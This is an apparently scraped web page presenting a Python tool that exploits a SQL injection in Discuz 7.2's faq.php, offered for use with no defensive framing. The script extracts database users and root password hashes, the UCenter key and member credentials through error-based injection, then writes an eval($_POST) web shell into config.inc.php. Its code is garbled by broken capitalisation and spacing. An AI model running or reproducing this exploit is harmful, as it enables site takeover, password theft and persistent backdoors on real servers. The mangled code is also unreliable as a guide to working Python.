Python-written Discuz7.2 version faq.php Injection Vulnerability Tool _python

Discuz 7.2 faq.php Automatic use of tools, Getshell and dump data, the Python version of the Uc_key Getshell part of the code from the Internet (thanks to the author)

Implementation code:

#!/usr/bin/env python #-*-CODING:GBK-*-#-*-coding:gb2312-*-#-*-coding:utf_8-*-# author Iswin import sys
	Import hashlib Import time import Math import Base64 import urllib2 import urllib import re def sendrequest (Url,para): Try:data = Urllib.urlencode (para) req=urllib2. Request (Url,data) Res=urllib2.urlopen (req,timeout=20). Read () except Exception, E:print ' exploit failed!\n%s '% (e) E
	XIT (0); return res def gettableprefix (URL): print ' Start gettableprefix ... ' para={' action ': ' Grouppermission ', ' gids[99 ': ' \ ', ' gids[100][0] ': ' and (select 1 from (SELECT COUNT (*), concat (select HEX (table_name) from INFORMATION_SCHEMA. TABLES where table_schema=database () limit 0,1), floor (rand (0) *2)) x from Information_schema.tables Group by x) # '} res=s
	EndRequest (Url,para);
	Pre=re.findall ("Duplicate entry ' (. *?) '", res);
		If Len (pre) ==0:print ' exploit failed! '
	Exit (0); Table_pre=pre[0][:len (Pre[0]) -1].decode (' hex ') table_pre=table_pre[0:table_pre.index ('_')] Print' table_pre:%s '% (table_pre) return table_pre def getcurrentuser (URL): para={' action ': ' Grouppermission ', ' gids[99 ': ' ', ' gids[100][0] ': ' and (select 1 from (SELECT COUNT (*), concat (User (), Floor (rand (0) *2)) x from Information_
		Schema.tables GROUP by X) a) # ' Res=sendrequest (Url,para) pre=re.findall (' Duplicate entry ' (. *?) ', res) if Len (pre) ==0:
		print ' Exploit failed! '
	Exit (0); Table_pre=pre[0][:len (Pre[0])-1] print ' current user:%s '% (table_pre) return table_pre def getuckey (URL): para={' action ': ' grouppermission ', ' gids[99] ': ' \ ', ' gids[100][0 ', ': ') and (select 1 from (SELECT COUNT (*), concat (select substr ( authkey,1,62) from cdb_uc_applications limit 0,1), floor (rand (0) *2)) x to Information_schema.tables Group by X) a) # '} par a1={' action ': ' Grouppermission ', ' gids[99] ': ' \ ', ' gids[100][0 ' ': ') and (select 1 from (SELECT COUNT (*), concat (select SUBSTR (authkey,63,2) from cdb_uc_applications limit 0,1), floor (rand (0) *2)) x to Information_schema.tables Group by X) a ) # '} res=sendrequest (URL, para);
	Res1=sendrequest (URL,PARA1); Key1=re.findall ("Duplicate entry ' (. *?) '", res) Key2=re.findall ("Duplicate entry ' (. *?) '", res1) If Len (key1) ==0:print
		' Get Uc_key failed! ' Return ' Key=key1[0][:len (key1[0]) -1]+key2[0][:len (key2[0])-1] print ' uc_key:%s '% (key) return key def getrootuser (URL : para={' action ': ' Grouppermission ', ' gids[99] ': ' \ ', ' gids[100][0 ' ': ') and (select 1 from (SELECT COUNT (*), concat ( Select Concat (User,0x20,password) from Mysql.user limit 0,1), floor (rand (0) *2)) x to Information_schema.tables GROUP by
	x) a) # '} res=sendrequest (Url,para);
		Pre=re.findall ("Duplicate entry ' (. *?) '", res) if Len (pre) ==0:print ' exploit failed! '
	Exit (0); Table_pre=pre[0][:len (Pre[0]) -1].split (') print ' root info:\nuser:%s password:%s '% (table_pre[0],table_pre[1]) def DumpData (url,table_prefix,count): para={' action ': ' Grouppermission ', ' gids[99] ': ' \ ', ' gids[100][0 ': ') and (select 1 From (select COUNT (*), concat (select Concat (Username,0x20,password) from%s_members LimIt%d,1), Floor (rand (0) *2)) x from Information_schema.tables Group by X) a) # '% (Table_prefix,count)} res=sendrequest (URL,
	Para);
		Datas=re.findall ("Duplicate entry ' (. *?) '", res) if Len (datas) ==0:print ' exploit failed! ' Exit (0) Cleandata=datas[0][:len (datas[0])-1] info=cleandata.split (') print ' user:%s pass:%s '% (info[0],info[1]) def m Icrotime (get_as_float = False): If Get_as_float:return time.time () Else:return '%.8f%d '% math.modf (time.t IME ()) def get_authcode (string, key = '): ckey_length = 4 key = HASHLIB.MD5 (key). Hexdigest () Keya = Hashlib.md5 (k EY[0:16]). Hexdigest () keyb = Hashlib.md5 (key[16:32)). Hexdigest () Keyc = (Hashlib.md5 (Microtime ()). Hexdigest ()) [-ckey _length:] Cryptkey = Keya + hashlib.md5 (KEYA+KEYC). Hexdigest () key_length = Len (cryptkey) string = ' 0000000000 ' + ( HASHLIB.MD5 (STRING+KEYB)). Hexdigest () [0:16]+string string_length = Len (string) result = ' box = Range (0, 256) Rnd Key = Dict () for I in Range (0,256): rndkey[I] = Ord (cryptkey[i% key_length]) j=0 for I in Range (0,256): j = (j + box[i] + rndkey[i])% 256 TMP = Box[i] Box[i] = box[j] box[j] = tmp a=0 j=0 for I in Range (0,string_length): a = (A + 1)% 256 J = (j + Box  [A])% 256 TMP = Box[a] box[a] = box[j] box[j] = tmp result + = Chr (ord (string[i)) ^ (box[(Box[a) + box[j]) % 256])) return KEYC + base64.b64encode (result). replace (' = ', ') def Get_shell (url,key,host): headers={' Accept-lang Uage ': ' ZH-CN ', ' content-type ': ' application/x-www-form-urlencoded ', ' user-agent ': ' Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1) ', ' Referer ': url} tm = Time.time () +10*3600 tm= "Time=%d&action=updateapps"%TM code = urllib.quote (get_a
      Uthcode (Tm,key)) url=url+ "? code=" +code data1= "" <?xml version= "1.0" encoding= "iso-8859-1"?> <root> <item id= "Uc_api" >http://xxx\); eval ($_post[3));//</item> </root> ' TRY:REQ=URLLIB2.R Equest (UrL,data=data1,headers=headers) Ret=urllib2.urlopen (req) except:return "Exploit falied" data2= "<?xml versi On= "1.0" encoding= "iso-8859-1"?> <root> <item id= "Uc_api" >http://aaa</item> </ro Ot> ' ' Try:req=urllib2. Request (url,data=data2,headers=headers) ret=urllib2.urlopen (req) except:return "error" TRY:REQ=URLLIB2.R Equest (host+ '/config.inc.php ') Res=urllib2.urlopen (req,timeout=20). Read () except Exception, E:print ' Getwebshell failed,%s '% (e) return print "Webshell:" +host+ "/config.inc.php,password:3" if __name__ = ' __main__ ': print ' dz7.x
		Exp code by Iswin ' If Len (sys.argv) <3:print ' dz7.x Exp code by Iswin\nusage:python dz7.py http://www.jb51.net 10 ' Exit (0) url=sys.argv[1]+ '/faq.php ' Count=int (sys.argv[2)) user=getcurrentuser (URL) if User.startswith (' root@ '): Get Rootuser (URL) uc_key=getuckey (URL) If Len (uc_key) ==64:print ' Start Getwebshell ... ' Get_shell (sys.argv[1]+ '/api/uc.php ', uc_key,sys.argv[1]) tb_pre=gettableprefix (URL) print ' Start dumpdata ... ' for x in Xrange (0,count): DUMPD ATA (URL,TB_PRE,X)